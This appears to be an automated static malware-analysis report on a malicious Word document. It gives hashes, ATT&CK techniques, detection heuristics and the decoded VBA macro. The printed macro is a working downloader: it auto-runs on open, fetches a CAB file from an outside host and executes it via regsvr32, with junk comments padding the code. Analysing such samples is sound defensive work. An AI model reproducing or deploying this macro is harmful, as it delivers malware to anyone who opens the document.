Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6ea8cc744827230b…

MALICIOUS

Office (OOXML)

113.6 KB Created: 2020-07-07 09:30:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 5efe9db9cb82aa803bde6324da4c9e4b SHA-1: a7b1bf50f60e63b93c30f7f68b6af65903a2f6d6 SHA-256: 6ea8cc744827230b359edb312e5c4117091b7c856fcdd25dc2b7ca3eea11512c
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains a VBA macro with an autoopen subroutine that utilizes URLDownloadToFile to download a CAB file from 'http://9bgnq.com/iz5/yaca.php?l=tze5.cab' and saves it as 'PC.tmp'. This indicates a downloader functionality, aiming to fetch and execute a secondary payload. The presence of the autoopen macro and the URLDownloadToFile function strongly suggests malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.GreenBox6-9139694-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox6-9139694-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Chi walnut rearguard opportunities
    Call URLDownloadToFile(0, "http://9bgnq.com/iz5/yaca.php?l=tze5.cab", JK, 0, 0)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    ' Descry rebuff
    fN.run "regsvr32 " & JK
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const JK As String = "PC.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://9bgnq.com/iz5/yaca.php?l=tze5.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2318 bytes
SHA-256: 6911de2dcb4f1ee82010d9a5266ca5851470a3e0002f82a5e10691cf653a9a18
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IQ"
Public Const JK As String = "PC.tmp"
Sub autoopen()

' Arcadia stolid proficient
' Whales
' Cholesterol fallow philippines originating

' Expression dosage torture students consulate
' Tiffany league pascal
' Cameron uranus ra
' Chi walnut rearguard opportunities
Call URLDownloadToFile(0, "http://9bgnq.com/iz5/yaca.php?l=tze5.cab", JK, 0, 0)

' Charles elder learners contentious decorous
' Tap underlying eruption
' Atm
' Damn baffle hostel worcestershire
' Babe piping alphabetical narcissus od
O
End Sub

Attribute VB_Name = "IQ1"
Sub O()

' Inelegant sunday agree paradox angelic
' Lunacy stigma
' Contraband
' Histrionic timeline schools voiced

' Tire ulterior bob
' Abnegation references washstand
' Retention critically sphinx cab worlds

' Epilogue
' Excrement frigid

' Chef priestcraft classroom
' Emigrant blackberry recruited
' Laudanum java organisation biology spaces
' Pitiable mustard polish
' Gb usb pc retrieve
' Active

' Vanguard invocation architect heat treasurer transparency
' Conclave lawn carbon ballot apostasy
' Diego

' Mightnt
' Boulevard acidity empirical
' Proximate forsooth damaged turns

' Jaunty pristine
' Miserly glum humans momentum corolla
' Sprig widowhood hip cognizance
' Recorded aged jar believed turnpike

' Imperialism extends smithsonian
' Publishers uncut pass
' Node poly
' Marital impostor holler throwed
Dim fN As New WshShell

' Suck consensus
' Haiti portfolio romania training
' Descry rebuff
fN.run "regsvr32 " & JK
End Sub

Attribute VB_Name = "hj"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal t8 As LongPtr, ByVal NC As String, ByVal Ky As String, ByVal CW As LongPtr, ByVal m9 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal t8 As Long, ByVal NC As String, ByVal Ky As String, ByVal CW As Long, ByVal m9 As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: c6091f63641fd830f4152ee0225c1a1a8aeca18b0149ded0e5fe94918c3650fa